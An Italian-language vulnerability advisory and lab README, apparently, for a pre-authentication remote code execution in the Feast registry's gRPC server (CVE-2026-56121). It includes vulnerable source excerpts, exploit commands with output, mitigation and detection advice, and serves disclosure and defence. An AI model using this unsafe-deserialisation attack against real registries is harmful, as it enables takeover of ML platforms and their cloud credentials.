CVE-2026-56121 — Feast <0.63.0 non autenticato RCE tramite gRPC registry dill.loads di OnDemandFeatureView UDF (pre-auth). Laboratorio + PoC, verificato e2e.
Il server gRPC del registro Feast
< 0.63.0eseguedill.loads()sulla funzione definita dall'utente di unOnDemandFeatureViewnon appena arriva una specifica — prima di qualsiasi controllo di autorizzazione. La configurazione fornita èauth: no_auth, quindi qualsiasi client che possa raggiungere la porta del registro (default6570) ottiene esecuzione remota di codice non autenticata inviando una richiestaApplyFeatureViewcon un pickle malevolo.
| CVE | CVE-2026-56121 |
| Affetto | Feast < 0.63.0 |
| Corretto | 0.63.0 |
| Classe | CWE-502 (Deserializzazione di dati non fidati) → RCE |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticazione | Nessuna (auth: no_auth predefinito; la deserializzazione avviene prima dell'autorizzazione) |
| Superficie | gRPC del registro RegistryServer.ApplyFeatureView (porta predefinita 6570) |
| Stato | CONFERMATO — riprodotto end-to-end con feast==0.62.0 |
sdk/python/feast/registry_server.py:
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
...
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view) # (1) deserializza
...
assert_permissions_to_update(resource=feature_view, ...) # (2) autorizza
self.proxied_registry.apply_feature_view(...)
from_proto (1) viene chiamata prima del controllo dei permessi (2). Essa analizza la
trasformazione, che esegue dill.loads() sul corpo della UDF —
sdk/python/feast/transformation/pandas_transformation.py (e python_transformation.py):
@classmethod
def from_proto(cls, user_defined_function_proto):
return cls(
udf=dill.loads(user_defined_function_proto.body), # <-- pickle controllato dall'attaccante
udf_string=user_defined_function_proto.body_text,
)
dill è un superset di pickle, quindi dill.loads() di byte dell'attaccante invoca il meccanismo
__reduce__ di pickle → esecuzione arbitraria di codice. Poiché viene eseguito prima di
assert_permissions_to_update — e la configurazione predefinita auth: no_auth rende quel controllo
comunque inefficace — la RCE è non autenticata.
# 1. Avvia un server di registro vulnerabile (feast 0.62.0, gRPC :6570, no_auth predefinito)
docker compose -f lab/docker-compose.yml up --build -d
# 2. Avvia il PoC (nessuna credenziale)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"
# 3. L'output del comando appare sull'host del registro
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
# uid=...(...) <hostname>
Osservato:
[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.
L'RPC alla fine va in errore (l'oggetto despicklizzato non è più una UDF richiamabile), ma il
comando è già stato eseguito durante dill.loads() — cat /tmp/feast_pwned restituisce
l'output vivo di id/uname, dimostrando l'esecuzione e non un semplice echo.
Chiunque possa raggiungere la porta gRPC del registro di Feast esegue comandi arbitrari del sistema operativo come l'account di servizio del registro — compromissione totale del feature store e degli store offline/online, dei registri e delle credenziali cloud a cui è collegato. I registri di Feast sono spesso esposti all'interno di piattaforme ML per essere chiamati da client SDK.
skip_udf in modo che il server di registro
non deserializzi più il corpo UDF delle specifiche in arrivo.auth (oidc/kubernetes) e non esporre mai la porta del registro
a reti non fidate. Nota: la sola autenticazione non è sufficiente su < 0.63.0,
perché la deserializzazione precede il controllo di autorizzazione.Allertare su RPC ApplyFeatureView / ApplyMaterialization al registro il cui
OnDemandFeatureView user_defined_function.body non è prodotto da un client fidato,
e su processi del registro che generano shell.
Vedere ANALYSIS.md per il percorso proto, l'ordine deser-prima-auth,
e la patch.